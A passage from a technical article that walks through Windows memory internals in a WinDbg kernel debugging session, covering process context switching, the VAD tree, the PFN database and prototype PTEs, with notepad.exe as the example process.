Peb: 7fffffd5000 ParentCid: 0808 DirBase: 652e89000 ObjectTable: fffff8a00cacc270 HandleCount: 58. Image: notepad.exe view raw tf-article2-windbg-1.txt hosted with ❤ by GitHub We can use notepad.exe as our target process, but you should be able to follow along with virtually any process of your choice. The next thing we need to do is attach ourselves to this process - simply put, we need to be in this process' context. This lets us access the virtual memory of notepad.exe by remapping the paging structures. We can verify that the context switch is happening by watching what happens to the CR3 register. If the virtual memory we have access to is going to change, we expect that the value of CR3 will change to new paging structures that represent notepad.exe's virtual memory. Let's take a look at the value of CR3 before the context switch. 0: kd> r cr3 cr3=000000078b07a000 view raw tf-article2-windbg-2.txt hosted with ❤ by GitHub We know that this value should change to the DirectoryTableBase member of the EPROCESS structure that represents notepad.exe when we make the switch. As a matter of interest, we can take a look at that structure and see what it contains. The PROCESS fffffa8019218b10 line emitted by the debugger when we listed all processes is actually the virtual address of that process' EPROCESS structure. 0: kd> dt nt!_EPROCESS fffffa8019218b10 -b +0x000 Pcb : _KPROCESS +0x000 Header : _DISPATCHER_HEADER +0x000 Type : 0x3 '' +0x001 TimerControlFlags : 0 '' +0x001 Absolute : 0y0 +0x001 Coalescable : 0y0 +0x001 KeepShifting : 0y0 +0x001 EncodedTolerableDelay : 0y00000 (0) +0x001 Abandoned : 0 '' +0x001 Signalling : 0 '' +0x002 ThreadControlFlags : 0x58 'X' +0x002 CpuThrottled : 0y0 +0x002 CycleProfiling : 0y0 +0x002 CounterProfiling : 0y0 +0x002 Reserved : 0y01011 (0xb) +0x002 Hand : 0x58 'X' +0x002 Size : 0x58 'X' +0x003 TimerMiscFlags : 0 '' +0x003 Index : 0y000000 (0) +0x003 Inserted : 0y0 +0x003 Expired : 0y0 +0x003 DebugActive : 0 '' +0x003 ActiveDR7 : 0y0 +0x003 Instrumented : 0y0 +0x003 Reserved2 : 0y0000 +0x003 UmsScheduled : 0y0 +0x003 UmsPrimary : 0y0 +0x003 DpcActive : 0 '' +0x000 Lock : 0n5767171 +0x004 SignalState : 0n0 +0x008 WaitListHead : _LIST_ENTRY [ 0xfffffa80`19218b18 - 0xfffffa80`19218b18 ] +0x000 Flink : 0xfffffa80`19218b18 +0x008 Blink : 0xfffffa80`19218b18 +0x018 ProfileListHead : _LIST_ENTRY [ 0xfffffa80`19218b28 - 0xfffffa80`19218b28 ] +0x000 Flink : 0xfffffa80`19218b28 +0x008 Blink : 0xfffffa80`19218b28 +0x028 DirectoryTableBase : 0x00000006`52e89000 ... view raw tf-article2-windbg-3.txt hosted with ❤ by GitHub The fully expanded EPROCESS structure is massive, so everything after what we're interested in has been omitted from the results above. We can see, though, that the DirectoryTableBase is a member at +0x028 of the process control block (KPROCESS) structure that's embedded as part of the larger EPROCESS structure. According to this output, we should expect that CR3 will change to 0x00000006`52e89000 when we switch to this process' context in WinDbg. To perform the context swap, we use the .process command and indicate that we want an invasive swap (/i) which will remap the virtual address space and allow us to do things like set breakpoints in user-mode memory. Also, in order for the process context swap to complete, we need to allow the process to execute once using the g command. The debugger will then break again, and we're officially in the context of notepad.exe. 0: kd> .process /i /P fffffa8019218b10 You need to continue execution (press 'g' <enter>) for the context to be switched. When the debugger breaks in again, you will be in the new process context. 0: kd> g Break instruction exception - code 80000003 (first chance) nt!DbgBreakPointWithStatus: fffff800`02a73c70 cc int 3 view raw tf-article2-windbg-4.txt hosted with ❤ by GitHub Okay! Now that we're in the context we need to be in, let's check the CR3 register to verify that the paging structures have been changed to the DirectoryTableBase member we saw earlier. 6: kd> r cr3 cr3=0000000652e89000 view raw tf-article2-windbg-5.txt hosted with ❤ by GitHub Looks like it worked as we expected. We would find a unique set of paging structures at 0x00000006`52e89000 that represented the virtual to physical address mappings within notepad.exe. This is essentially the same kind of swap that occurs each time Windows switches to a thread in a different process. Virtual address ranges While each process gets its own view of virtual memory and can re-use the same virtual address range as another process, there are some consistent rules of thumb that Windows abides by when it comes to which virtual address ranges store certain kinds of information. To start, each user-mode process is allowed a user-mode virtual address space ranging from 0x000`00000000 to 0x7ff`ffffffff, giving each process a theoretical maximum of 8TB of virtual memory that it can access. Then, each process also has a range of kernel-mode virtual memory that is split up into a number of different subsections. This much larger range gives the kernel a theoretical maximum of 248TB of virtual memory, ranging from 0xffff0800`00000000 to 0xffffffff`ffffffff. The remaining address space is not actually used by Windows, though, as we can see below. Figure 3: All possible virtual memory, divided into the different ranges that Windows enforces. The virtual addresses for the kernel-mode regions may not be true on Windows 10, where these regions are subject to address space layout randomization (ASLR). Credits to Alex Ionescu for specific kernel space mappings. Currently, there is an extremely large “no man's land” of virtual memory space between the user-mode and kernel-mode ranges of virtual memory. This range of memory isn't wasted, though, it's just not addressable due to the current architecture constraint of 48-bit virtual addresses, which we discussed in our previous article. If there existed a system with 16EB of physical memory - enough memory to address all possible 64-bit virtual memory - the extra physical memory would simply be used to hold the pages of other processes, so that many processes' memory ranges could be resident in physical memory at once. As an aside, one other interesting property of the way Windows handles virtual address mapping is being able to quickly tell kernel pointers from user-mode pointers. Memory that is mapped as part of the kernel has the highest order bits of the address (the 16 bits we didn't use as part of the linear address translation) set to 1, while user-mode memory has them set to 0. This ensures that kernel-mode pointers begin with 0xFFFF and user-mode pointers begin with 0x0000. A tree of virtual memory: the VAD We can see that the kernel-mode virtual memory is nicely divided into different sections. But what about user-mode memory? How does the memory manager know which portions of virtual memory have been allocated, which haven't, and details about each of those ranges? How can it know if a virtual address within a process is valid or invalid? It could walk the process' paging structures to figure this out every time the information was needed, but there is another way: the virtual address descriptor (VAD) tree. Each process has a VAD tree that can be located in the VadRoot member of the aforementioned EPROCESS structure. The tree is a balanced binary search tree, with each node representing a region of virtual memory within the process. Figure 4: The VAD tree is balanced with lower virtual page numbers to the left, and each node providing some additional details about the memory range. Each node gives details about the range of addresses, the memory protection of that region, and some other metadata depending on the state of the memory it is representing. We can use our friend WinDbg to easily list all of the entries in the VAD tree of a particular process. Let's have a look at the VAD entries from notepad.exe using !vad. 6: kd> !vad VAD Level Start End Commit fffffa8019785170 5 10 1f 0 Mapped READWRITE Pagefile section, shared commit 0x10 fffffa8019229650 4 20 26 0 Mapped READONLY Pagefile section, shared commit 0x7 fffffa802aec35c0 5 30 33 0 Mapped READONLY Pagefile section, shared commit 0x4 fffffa80291085a0 3 40 41 0 Mapped READONLY Pagefile section, shared commit 0x2 fffffa802b25c180 5 50 50 1 Private READWRITE fffffa802b0b8940 4 60 c6 0 Mapped READONLY \Windows\System32\locale.nls fffffa8019544940 5 d0 d1 0 Mapped READWRITE Pagefile section, shared commit 0x2 fffffa80193c5570 2 e0 e2 3 Mapped WRITECOPY \Windows\System32\en-US\notepad.exe.mui fffffa802b499e00 5 f0 f0 1 Private READWRITE fffffa802b4a6160 4 100 100 1 Private READWRITE fffffa801954d3a0 5 110 110 0 Mapped READWRITE Pagefile section, shared commit 0x1 fffffa80197cf8c0 3 120 121 0 Mapped READONLY Pagefile section, shared commit 0x2 fffffa802b158240 4 160 16f 2 Private READWRITE fffffa802b24f180 1 1a0 21f 20 Private READWRITE fffffa802b1fc680 6 220 31f 104 Private READWRITE fffffa802b44d110 5 320 41f 146 Private READWRITE fffffa802910ece0 6 420 4fe 0 Mapped READONLY Pagefile section, shared commit 0xdf fffffa802b354c60 4 540 54f 7 Private READWRITE fffffa8029106660 6 550 6d7 0 Mapped READONLY Pagefile section, shared commit 0x6 fffffa802b4738b0 5 6e0 860 0 Mapped READONLY Pagefile section, shared commit 0x181 fffffa802942ea30 6 870 1c6f 0 Mapped READONLY Pagefile section, shared commit 0x23 fffffa802b242260 3 1cf0 1d6f 28 Private READWRITE fffffa802aa66d60 5 1e10 1e8f 113 Private READWRITE fffffa8019499560 4 3030 395f 0 Mapped READONLY \Windows\Fonts\StaticCache.dat fffffa8019246370 5 3960 3c2e 0 Mapped READONLY \Windows\Globalization\Sorting\SortDefault.nls fffffa802b184c50 6 3c30 3d2f 1 Private READWRITE fffffa802b45f180 2 77420 77519 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\user32.dll fffffa80192afa20 4 77520 7763e 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\kernel32.dll fffffa802a8ba9c0 3 77640 777e9 14 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ntdll.dll fffffa802910a440 5 7efe0 7f0df 0 Mapped READONLY Pagefile section, shared commit 0x5 fffffa802b26d180 4 7f0e0 7ffdf 0 Private READONLY fffffa802b4cb160 0 7ffe0 7ffef -1 Private READONLY fffffa802b4e60d0 5 ffd50 ffd84 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\notepad.exe fffffa801978d170 4 7fefa530 7fefa5a0 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\winspool.drv fffffa80197e0970 5 7fefaab0 7fefab05 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\uxtheme.dll fffffa802a6d9720 6 7fefafd0 7fefafe7 5 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\dwmapi.dll fffffa80197ecc50 3 7fefb390 7fefb583 6 Mapped Exe EXECUTE_WRITECOPY \Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll fffffa802a91e010 5 7fefc3c0 7fefc3cb 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\version.dll fffffa80197cb010 6 7fefd1d0 7fefd1de 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\cryptbase.dll fffffa80290fe9c0 4 7fefd440 7fefd4a9 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\KernelBase.dll fffffa8029109e30 5 7fefd6f0 7fefd6fd 2 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\lpk.dll fffffa8029522520 6 7fefd720 7fefd74d 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\imm32.dll fffffa802910bce0 2 7fefd800 7fefd8da 7 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\advapi32.dll fffffa80290d9500 5 7fefd8e0 7fefdadb 9 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\ole32.dll fffffa802af4a0c0 4 7fefdae0 7fefe86a 13 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\shell32.dll fffffa8019787170 5 7fefea50 7fefea6e 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\sechost.dll fffffa802a6e8010 3 7fefeda0 7fefee36 6 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\comdlg32.dll fffffa802a6ae010 5 7fefee50 7fefef58 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\msctf.dll fffffa802910dac0 4 7feff0f0 7feff21c 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\rpcrt4.dll fffffa801948e940 1 7feff2a0 7feff33e 7 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\msvcrt.dll fffffa802aac1010 5 7feff340 7feff3b0 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\shlwapi.dll fffffa8029156010 4 7feff3c0 7feff48a 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\usp10.dll fffffa801956e170 5 7feff800 7feff8d9 4 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\oleaut32.dll fffffa8019789170 3 7feff8e0 7feff946 3 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\gdi32.dll fffffa801958e170 4 7feff960 7feff960 0 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\apisetschema.dll fffffa80290f3c10 2 7fffffb0 7fffffd2 0 Mapped READONLY Pagefile section, shared commit 0x23 fffffa802af28110 3 7fffffd5 7fffffd5 1 Private READWRITE fffffa802a714a30 4 7fffffde 7fffffdf 2 Private READWRITE Total VADs: 58, average level: 5, maximum depth: 6 Total private commit: 0x228 pages (2208 KB) Total shared commit: 0x2d3 pages (2892 KB) view raw tf-article2-windbg-6.txt hosted with ❤ by GitHub The range of addresses supported by a given VAD entry are stored as virtual page numbers - similar to a PFN, but simply in virtual memory. This means that an entry representing a starting VPN of 0x7f and an ending VPN of 0x8f would actually be representing virtual memory from address 0x00000000`0007f000 to 0x00000000`0008ffff. There are a number of complexities of the VAD tree that are outside the scope of this article. For example, each node in the tree can be one of three different types depending on the state of the memory being represented. In addition, a VAD entry may contain information about the backing PTEs for that region of memory if that memory is shared. We will touch more on that concept in a later section. Let's get physical So we now know that Windows maintains separate paging structures for each individual process, and some details about the different virtual memory ranges that are defined. But the operating system also needs a central mechanism to keep track of each individual page of physical memory. After all, it needs to know what's stored in each physical page, whether it can write that data out to a paging file on disk to free up memory, how many processes are using that page for the purposes of shared memory, and plenty of other details for proper memory management That's where the page frame number (PFN) database comes in. A pointer to the base of this very large structure can be located at the symbol nt!MmPfnDatabase, but we know based on the kernel-mode memory ranges that it starts at the virtual address 0xfffffa80`00000000, except on Windows 10 where this is subject to ASLR. (As an aside, WinDbg has a neat extension for dealing with the kernel ASLR in Windows 10 - !vm 0x21 will get you the post-KASLR regions). For each physical page available on the system, there is an nt!_MMPFN structure allocated in the database to provide details about the page. Figure 5: Each physical page in the system is represented by a PFN entry structure in this very large, contiguous data structure. Though some of the bits of the nt!_MMPFN structure can vary depending on the state of the page, that structure generally looks something like this: 0: kd> dt nt!_MMPFN +0x000 u1 : <unnamed-tag> +0x008 u2 : <unnamed-tag> +0x010 PteAddress : Ptr64 _MMPTE +0x010 VolatilePteAddress : Ptr64 Void +0x010 Lock : Int4B +0x010 PteLong : Uint8B +0x018 u3 : <unnamed-tag> +0x01c UsedPageTableEntries : Uint2B +0x01e VaType : UChar +0x01f ViewCount : UChar +0x020 OriginalPte : _MMPTE +0x020 AweReferenceCount : Int4B +0x028 u4 : <unnamed-tag> view raw tf-article2-windbg-7.txt hosted with ❤ by GitHub A page represented in the PFN database can be in a number of different states. The state of the page will determine what the memory manager does with the contents of that page. We won't be focusing on the different states too much in this article, but there are a few of them: active, transition, modified, free, and bad, to name several. It is definitely worth mentioning that for efficiency reasons, Windows manages linked lists that are comprised of all of the nt!_MMPFN entries that are in a specific state. This makes it much easier to traverse all pages that are in a specific state, rather than having to walk the entire PFN database. For example, it can allow the memory manager to quickly locate all of the free pages when memory needs to be paged in from disk. Figure 6: Different linked lists make it easier to walk the PFN database according to the state of the pages, e.g. walk all of the free pages contiguously. Another purpose of the PFN database is to help facilitate the translation of physical addresses back to their corresponding virtual addresses. Windows uses the PFN database to accomplish this during calls such as nt!MmGetVirtualForPhysical. While it is technically possible to search all of the paging structures for every process on the system in order to work backwards up the paging structures to get the original virtual address, the fact that the nt!_MMPFN structure contains a reference to the backing PTE coupled with some clever allocation rules by Microsoft allow them to easily convert back to a virtual address using the PTE and some bit shifting. For a little bit of practical experience exploring the PFN database, let's find a region of memory in notepad.exe that we can take a look at. One area of memory that could be of interest is the entry point of our application. We can use the !dh command to display the PE header information associated with a given module in order to track down the address of the entry point. Because we've switched into a user-mode context in one of our previous examples, WinDbg will require us to reload our symbols so that it can make sense of everything again. We can do that using the .reload /f command. Then we can look at notepad.exe's headers: 6: kd> !dh notepad.exe File Type: EXECUTABLE IMAGE FILE HEADER VALUES 8664 machine (X64) 6 number of sections 559EA8BE time date stamp Thu Jul 9 10:00:46 2015 0 file pointer to symbol table 0 number of symbols F0 size of optional header 22 characteristics Executable App can handle >2gb addresses OPTIONAL HEADER VALUES 20B magic # 9.00 linker version A800 size of code 25800 size of initialized data 0 size of uninitialized data 3ACC address of entry point 1000 base of code ----- new ----- 00000000ffd50000 image base 1000 section alignment 200 file alignment 2 subsystem (Windows GUI) 6.01 operating system version 6.01 image version 6.01 subsystem version 35000 size of image 600 size of headers 36DA2 checksum 0000000000080000 size of stack reserve 0000000000011000 size of stack commit 0000000000100000 size of heap reserve 0000000000001000 size of heap commit 8140 DLL characteristics Dynamic base NX compatible Terminal server aware 0 [ 0] address of Export Directory CFF8 [ 12C] address of Import Directory 14000 [ 1F168] address of Resource Directory 13000 [ 6B4] address of Exception Directory 0 [ 0] address of Security Directory 34000 [ B8] address of Base Relocation Directory B740 [ 38] address of Debug Directory 0 [ 0] address of Description Directory 0 [ 0] address of Special Directory 0 [ 0] address of Thread Storage Directory 0 [ 0] address of Load Configuration Directory 2E0 [ 138] address of Bound Import Directory C000 [ 7F0] address of Import Address Table Directory 0 [ 0] address of Delay Import Directory 0 [ 0] address of COR20 Header Directory 0 [ 0] address of Reserved Directory … view raw tf-article2-windbg-8.txt hosted with ❤ by GitHub Again, the output is quite verbose, so the section information at the bottom is omitted from the above snippet. We're interested in the address of entry point member of the optional header, which is listed as 0x3acc. That value is called a relative virtual address (RVA), and it's the number of bytes from the base address of the notepad.exe image. If we add that relative address to the base of notepad.exe, we should see the code located at our entry point. 6: kd> u notepad.exe + 0x3acc L10 notepad!WinMainCRTStartup: 00000000`ffd53acc 4883ec28 sub rsp,28h 00000000`ffd53ad0 e80bf3ffff call notepad!_security_init_cookie (00000000`ffd52de0) 00000000`ffd53ad5 4883c428 add rsp,28h 00000000`ffd53ad9 eb09 jmp notepad!DisplayNonGenuineDlgWorker+0x14c (00000000`ffd53ae4) 00000000`ffd53adb 90 nop 00000000`ffd53adc 90 nop 00000000`ffd53add 90 nop 00000000`ffd53ade 90 nop 00000000`ffd53adf 90 nop 00000000`ffd53ae0 90 nop 00000000`ffd53ae1 90 nop 00000000`ffd53ae2 90 nop 00000000`ffd53ae3 90 nop 00000000`ffd53ae4 4889742408 mov qword ptr [rsp+8],rsi 00000000`ffd53ae9 48897c2410 mov qword ptr [rsp+10h],rdi 00000000`ffd53aee 4154 push r12 view raw tf-article2-windbg-9.txt hosted with ❤ by GitHub And we do see that the address resolves to notepad!WinMainCRTStartup, like we expected. Now we have the address of our target process' entry point: 00000000`ffd53acc. While the above steps were a handy exercise in digging through parts of a loaded image, they weren't actually necessary since we had symbols loaded. We could have simply used the ? qualifier in combination with the symbol notepad!WinMainCRTStartup, as demonstrated below, or gotten the value of a handy pseudo-register that represents the entry point with r $exentry. 6: kd> ? notepad!WinMainCRTStartup Evaluate expression: 4292164300 = 00000000`ffd53acc view raw tf-article2-windbg-10.txt hosted with ❤ by GitHub In any case, we now have the address of our entry point, which from here on we'll refer to as our “target” or the “target page”. We can now start taking a look at the different paging structures that support our target, as well as the PFN database entry for it. Let's first take a look at the PFN database. We know the virtual address where this structure is supposed to start, but let's look for it the long way, anyway. We can easily find the beginning of this structure by using the ? qualifier and poi on the symbol name. The poi command treats its parameter as a pointer and retrieves the value located at that pointer. 6: kd> ? poi(nt!MmPfnDatabase) Evaluate expression: -6047313952768 = fffffa80`00000000 view raw tf-article2-windbg-11.txt hosted with ❤ by GitHub Knowing that the PFN database begins at 0xfffffa80`00000000, we should be able to index easily to the entry that represents our target page. First we need to figure out the page frame number in physical memory that the target's PTE refers to, and then we can index into the PFN database by that number. Looking back on what we learned from the previous article, we can grab the PTE information about the target page very easily using the handy !pte command. 6: kd> !pte 00000000`ffd53acc VA 00000000ffd53acc PXE at FFFFF6FB7DBED000 PPE at FFFFF6FB7DA00018 PDE at FFFFF6FB40003FF0 PTE at FFFFF680007FEA98 contains 02D0000654195867 contains 4D00000654D16867 contains 02F0000654D97867 contains 32C000065207B025 pfn 654195 ---DA--UWEV pfn 654d16 ---DA--UWEV pfn 654d97 ---DA--UWEV pfn 65207b ----A--UREV view raw tf-article2-windbg-12.txt hosted with ❤ by GitHub The above result would indicate that the backing page frame number for the target is 0x65207b. That should be the index into the PFN database that we'll need to use. Remember that we'll need to multiply that index by the size of an nt!_MMPFN structure, since we're essentially trying to skip that many PFN entries. 6: kd> ?? sizeof(nt!_MMPFN) unsigned int64 0x30 6: kd> dt !_MMPFN (0xfffffa80`00000000 + (0x65207b * 0x30)) nt!_MMPFN +0x000 u1 : <unnamed-tag> +0x008 u2 : <unnamed-tag> +0x010 PteAddress : 0xfffff8a0`09e25a00 _MMPTE +0x010 VolatilePteAddress : 0xfffff8a0`09e25a00 Void +0x010 Lock : 0n165829120 +0x010 PteLong : 0xfffff8a0`09e25a00 +0x018 u3 : <unnamed-tag> +0x01c UsedPageTableEntries : 0 +0x01e VaType : 0 '' +0x01f ViewCount : 0 '' +0x020 OriginalPte : _MMPTE +0x020 AweReferenceCount : 0n-333970336 +0x028 u4 : <unnamed-tag> view raw tf-article2-windbg-13.txt hosted with ❤ by GitHub This looks like a valid PFN entry. We can verify that we've done everything correctly by first doing the manual calculation to figure out what the address of the PFN entry should be, and then comparing it to where WinDbg thinks it should be. 6: kd> ? (0xfffffa80`00000000 + (0x65207b * 0x30)) Evaluate expression: -6046995835120 = fffffa80`12f61710 view raw tf-article2-windbg-14.txt hosted with ❤ by GitHub So based on the above, we know that the nt!_MMPFN entry for the page we're interested in it should be located at 0xfffffa80`12f61710, and we can use a nice shortcut to verify if we're correct. As always in WinDbg, there is an easier way to obtain information from the PFN database. This can be done by using the !pfn command with the page frame number. 6: kd> !pfn 0x65207b PFN 0065207B at address FFFFFA8012F61710 flink 0000032C blink / share count 00000001 pteaddress FFFFF8A009E25A00 reference count 0001 used entry count 0000 Cached color 0 Priority 1 restore pte FA80194CEC180460 containing page 693603 Active P Shared view raw tf-article2-windbg-15.txt hosted with ❤ by GitHub Here we can see that WinDbg also indicates that the PFN entry is at 0xfffffa8012f61710, just like our calculation, so it looks like we did that correctly. An interlude about working sets Phew - we've done some digging around in the PFN database now, and we've seen how each entry in that database stores some information about the physical page itself. Let's take a step back for a moment, back into the world of virtual memory, and talk about working sets. Each process has what's called a working set, which represents all of the process' virtual memory that is subject to paging and is accessible without incurring a page fault. Some parts of the process' memory may be paged to disk in order to free up RAM, or in a transition state, and therefore accessing those regions of memory will generate a page fault within that process. In layman's terms, a page fault is essentially the architecture indicating that it can't access the specified virtual memory, because the PTEs needed for translation weren't found inside the paging structures, or because the permissions on the PTEs restrict what the application is attempting to do. When a page fault occurs, the page fault handler must resolve it by adding the page back into the process' working set (meaning it also gets added back into the process' paging structures), mapping the page back into memory from disk and then adding it back to the working set, or indicating that the page being accessed is invalid. Figure 7: An example working set of a process, where some rarely accessed pages were paged out to disk to free up physical memory. It should be noted that other regions of virtual memory may be accessible to the process which do not appear in the working set, such as Address Windowing Extensions (AWE) mappings or large pages; however, for the purposes of this article we will be focusing on memory that is part of the working set. Occasionally, Windows will trim the working set of a process in response to (or to avoid) memory pressure on the system, ensuring there is memory available for other processes. If the working set of a process is trimmed, the pages being trimmed have their backing PTEs marked as “not valid” and are put into a transition state while they await being paged to disk or given away to another process. In the case of a “soft” page fault, the page described by the PTE is actually still resident in physical memory, and the page fault handler can simply mark the PTE as valid again and resolve the fault efficiently. Otherwise, in the case of a “hard” page fault, the page fault handler needs to fetch the contents of the page from the paging file on disk before marking the PTE as valid again. If this kind of fault occurs, the page fault handler will likely also have to alter the page frame number that the PTE refers to, since the page isn't likely to be loaded back into the same location in physical memory that it previously resided in. Sharing is caring It's important to remember that while two processes do have different paging structures that map their virtual memory to different parts of physical memory, there can be portions of their virtual memory which map to the same physical memory. This concept is called shared memory, and it's actually quite common within Windows. In fact, even in our previous example with notepad.exe's entry point, the page of memory we looked at was shared. Examples of regions in memory that are shared are system modules, shared libraries, and files that are mapped into memory with CreateFileMapping() and MapViewOfFile(). In addition, the kernel-mode portion of a process' memory will also point to the same shared physical memory as other processes, because a shared view of the kernel is typically mapped into every process. Despite the fact that a view of the kernel is mapped into their memory, user-mode applications will not be able to access pages of kernel-mode memory as Windows sets the UserSupervisor bit in the kernel-mode PTEs. The hardware uses this bit to enforce ring0-only access to those pages. Figure 8: Two processes may have different views of their user space virtual memory, but they get a shared view of the kernel space virtual memory. In the case of memory that is not shared between processes, the PFN database entry for that page of memory will point to the appropriate PTE in the process that owns that memory. Figure 9: When not sharing memory, each process will have PTE for a given page, and that PTE will point to a unique member of the PFN database. When dealing with memory that is shareable, Windows creates a kind of global PTE - known as a prototype PTE - for each page of the shared memory. This prototype always represents the real state of the physical memory for the shared page. If marked as Valid, this prototype PTE can act as a hardware PTE just as in any other case. If marked as Not Valid, the prototype will indicate to the page fault handler that the memory needs to be paged back in from disk. When a prototype PTE exists for a given page of memory, the PFN database entry for that page will always point to the prototype PTE. Figure 10: Even though both processes still have a valid PTE pointing to their shared memory, Windows has created a prototype PTE which points to the PFN entry, and the PFN entry now points to the prototype PTE instead of a specific process. Why would Windows create this special PTE for shared memory? Well, imagine for a moment that in one of the processes, the PTE that describes a shared memory location is stripped out of the process' working set. If the process then tries to access that memory, the page fault handler sees that the PTE has been marked as Not Valid, but it has no idea whether that shared page is still resident in physical memory or not. For this, it uses the prototype PTE. When the PTE for the shared page within the process is marked as Not Valid, the Prototype bit is also set and the page frame number is set to the location of the prototype PTE for that page. Figure 11: One of the processes no longer has a valid PTE for the shared memory, so Windows instead uses the prototype PTE to ascertain the true state of the physical page. This way, the page fault handler is able to examine the prototype PTE to see if the physical page is still valid and resident or not. If it is still resident, then the page fault handler can simply mark the process' version of the PTE as valid again, resolving the soft fault. If the prototype PTE indicates it is Not Valid, then the page fault handler must fetch the page from disk. We can continue our adventures in WinDbg to explore this further, as it can be a tricky concept. Based on what we know about shared memory, that should mean that the PTE referenced by the PFN entry for the entry point of notepad.exe is a prototype PTE. We can already see that it's a different address (0xfffff8a0`09e25a00) than the PTE that we were expecting from the !pte command (0xfffff680007fea98). Let's look at the fully expanded nt!_MMPTE structure that's being referenced in the PFN entry. 6: kd> dt !_MMPTE 0xfffff8a0`09e25a00 -b nt!_MMPTE +0x000 u : <unnamed-tag> +0x000 Long : 0x00000006`5207b121 +0x000 VolatileLong : 0x00000006`5207b121 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y0 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y0 +0x000 LargePage : 0y0 +0x000 Global : 0y1 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y0 +0x000 PageFrameNumber : 0y000000000000011001010010000001111011 (0x65207b) +0x000 reserved1 : 0y0000 +0x000 SoftwareWsIndex : 0y00000000000 (0) +0x000 NoExecute : 0y0 ... +0x000 Proto : _MMPTE_PROTOTYPE +0x000 Valid : 0y1 +0x000 Unused0 : 0y0010000 (0x10) +0x000 ReadOnly : 0y1 +0x000 Unused1 : 0y0 +0x000 Prototype : 0y0 +0x000 Protection : 0y10110 (0x16) +0x000 ProtoAddress : 0y000000000000000000000000000001100101001000000111 (0x65207) ... view raw tf-article2-windbg-16.txt hosted with ❤ by GitHub We can compare that with the nt!_MMPTE entry that was referenced when we did the !pte command on notepad.exe's entry point. 6: kd> dt nt!_MMPTE 0xfffff680007fea98 -b +0x000 u : <unnamed-tag> +0x000 Long : 0x32c00006`5207b025 +0x000 VolatileLong : 0x32c00006`5207b025 +0x000 Hard : _MMPTE_HARDWARE +0x000 Valid : 0y1 +0x000 Dirty1 : 0y0 +0x000 Owner : 0y1 +0x000 WriteThrough : 0y0 +0x000 CacheDisable : 0y0 +0x000 Accessed : 0y1 +0x000 Dirty : 0y0 +0x000 LargePage : 0y0 +0x000 Global : 0y0 +0x000 CopyOnWrite : 0y0 +0x000 Unused : 0y0 +0x000 Write : 0y0 +0x000 PageFrameNumber : 0y000000000000011001010010000001111011 (0x65207b) +0x000 reserved1 : 0y0000 +0x000 SoftwareWsIndex : 0y01100101100 (0x32c) +0x000 NoExecute : 0y0 ... +0x000 Proto : _MMPTE_PROTOTYPE +0x000 Valid : 0y1 +0x000 Unused0 : 0y0010010 (0x12) +0x000 ReadOnly : 0y0 +0x000 Unused1 : 0y0 +0x000 Prototype : 0y0 +0x000 Protection : 0y10110 (0x16) +0x000 ProtoAddress : 0y001100101100000000000000000001100101001000000111 (0x32c000065207) ... view raw tf-article2-windbg-17.txt hosted with ❤ by GitHub It looks like the Prototype bit is not set on either of them, and they're both valid. This makes perfect sense. The shared page still belongs to notepad.exe's working set, so the PTE in the process' paging structures is still valid; however, the operating system has proactively allocated a prototype PTE for it because the memory may be shared at some point and the state of the page will need to be tracked with the prototype PTE. The notepad.exe paging structures also point to a valid hardware PTE, just not the same one as the PFN database entry. The same isn't true for a region of memory that can't be shared. For example, if we choose another memory location that was allocated as MEM_PRIVATE, we will not see the same results. We can use the !vad command to give us all of the virtual address regions (listed by virtual page frame) that are mapped by the current process. 6: kd> !vad VAD Level Start End Commit fffffa8019785170 5 10 1f 0 Mapped READWRITE Pagefile section, shared commit 0x10 fffffa8019229650 4 20 26 0 Mapped READONLY Pagefile section, shared commit 0x7 fffffa802aec35c0 5 30 33 0 Mapped READONLY Pagefile section, shared commit 0x4 fffffa80291085a0 3 40 41 0 Mapped READONLY Pagefile section, shared commit 0x2 fffffa802b25c180 5 50 50 1 Private READWRITE fffffa802b0b8940 4 60 c6 0 Mapped READONLY \Windows\System32\locale.nls fffffa8019544940 5 d0 d1 0 Mapped READWRITE Pagefile section, shared commit 0x2 fffffa80193c5570 2 e0 e2 3 Mapped WRITECOPY \Windows\System32\en-US\notepad.exe.mui fffffa802b499e00 5 f0 f0 1 Private READWRITE fffffa802b4a6160 4 100 100 1 Private READWRITE fffffa801954d3a0 5 110 110 0 Mapped READWRITE Pagefile section, shared commit 0x1 fffffa80197cf8c0 3 120 121 0 Mapped READONLY Pagefile section, shared commit 0x2 fffffa802b158240 4 160 16f 2 Private READWRITE fffffa802b24f180 1 1a0 21f 20 Private READWRITE fffffa802b1fc680 6 220 31f 104 Private READWRITE fffffa802b44d110 5 320 41f 146 Private READWRITE fffffa802910ece0 6 420 4fe 0 Mapped READONLY Pagefile section, shared commit 0xdf fffffa802b354c60 4 540 54f 7 Private READWRITE fffffa8029106660 6 550 6d7 0 Mapped READONLY Pagefile 